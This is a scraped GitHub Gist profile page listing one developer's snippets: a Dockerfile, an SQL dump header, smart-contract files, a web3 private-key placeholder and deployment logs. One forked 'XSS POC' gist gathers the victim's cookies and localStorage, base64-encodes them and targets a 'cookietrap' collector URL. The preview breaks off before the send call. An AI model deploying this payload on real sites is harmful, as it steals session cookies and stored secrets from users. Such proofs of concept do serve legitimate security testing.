Skip to content

Instantly share code, notes, and snippets.

View developerfred's full-sized avatar
🥇
🔥

codingsh developerfred

🥇
🔥
View GitHub Profile
@developerfred
developerfred / Dockerfile
Last active July 1, 2023 21:24
programatrava - umbrella on Elixir
# We start from a Elixir base image
FROM elixir:1.12
# Create app directory and copy the Elixir projects into it
RUN mkdir /app
COPY . /app
WORKDIR /app
# Install hex and rebar
RUN mix local.hex --force && \
@developerfred
developerfred / friday.sql
Created May 12, 2023 20:17
Friday SQL Dump
-- MySQL dump 10.13 Distrib 8.0.33, for Linux (x86_64)
--
-- Host: db-mv-gg-quest.czh2afcpkxqi.eu-west-2.rds.amazonaws.com Database: ggquest
-- ------------------------------------------------------
-- Server version 8.0.30
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!50503 SET NAMES utf8mb4 */;
@developerfred
developerfred / PepeWorks.abi
Created April 30, 2023 22:10
Pepe Works on Arbitrum Nova
[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{

install libs

$ pip install web3

add your metamask pk here

private_key = '<your metamask key'
@developerfred
developerfred / XSS POC
Created November 9, 2022 17:38 — forked from nicovillanueva/XSS POC
JS script for doing XSS POCs
// The collector must decode the base64-encoded parameter 'payload'
// Suggestion: The PHP script could redirect back to the user's referer, such as:
// header("Location: " . $_SERVER['HTTP_REFERER']);
collector="http://192.168.40.6/cookietrap/trap.php?payload=";
c=function(){ret=""; for(var i = 0; i < document.cookie.split(";").length; i++){ ret+=("- " + document.cookie.split(";")[i] + "\n");} return ret; }();
ls=function(){locStor = ""; for(var i = 0; i < localStorage.length; i++){ locStor += ("Key: " + localStorage.key(i) + "\nValue: " + localStorage.getItem(localStorage.key(i)) + "\n\n");} return locStor; }();
payload="Cookies: \n"+ c + "\nLocalStorage: \n" + ls;
enc=btoa(payload);
alert("Yar cookies are: \n" + c);
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
// Used in the `name()` function
// "Yul Token"
bytes32 constant nameLength = 0x0000000000000000000000000000000000000000000000000000000000000009;
bytes32 constant nameData = 0x59756c20546f6b656e0000000000000000000000000000000000000000000000;
// Used in the `symbol()` function
// "YUL"
{
"name": "Mask Network",
"logoURI": "https://raw.githubusercontent.com/DimensionDev/Maskbook-Website/master/img/MB--CircleCanvas--WhiteOverBlue.svg",
"keywords": [
"browser extension",
"web3",
"peer to peer",
"encryption",
"cryptography",
"gundb",
@developerfred
developerfred / arbitrum.md
Created November 15, 2021 01:18
$SARCO on arbitrum.io Rinkeby

$SARCO on arbitrum.io Rinkeby

https://testnet.arbiscan.io/

Setting allowance on gateway
Allowance successfully set — L1 tx hash: 0xb1ce2ae1a9757a68fda1733796c3c8139e6bea80c80dd946856ff197a8f476d2
Depositing / deploying standard token contract:
L1 deposit txn confirmed — L1 txn hash: 0x47f43d678d1a0fb113823eeb3a0eb11b76bfcb41c2bc4d91d49ac1b9773631f0
Waiting for L2 txn; this takes ~10 minutes; waiting for L2 txn hash: 0x52b96edcac0d42ce4ff3661392fb3131589a9797cdda48f7619f0b48b0518bbf
Done; your token is deployed on L2 at 0xf00dD64B2A7c9205575F8719B8d692536a2d6321
@developerfred
developerfred / goToOito.md
Created October 26, 2021 22:58
Oito.work | Dapp Developer Interface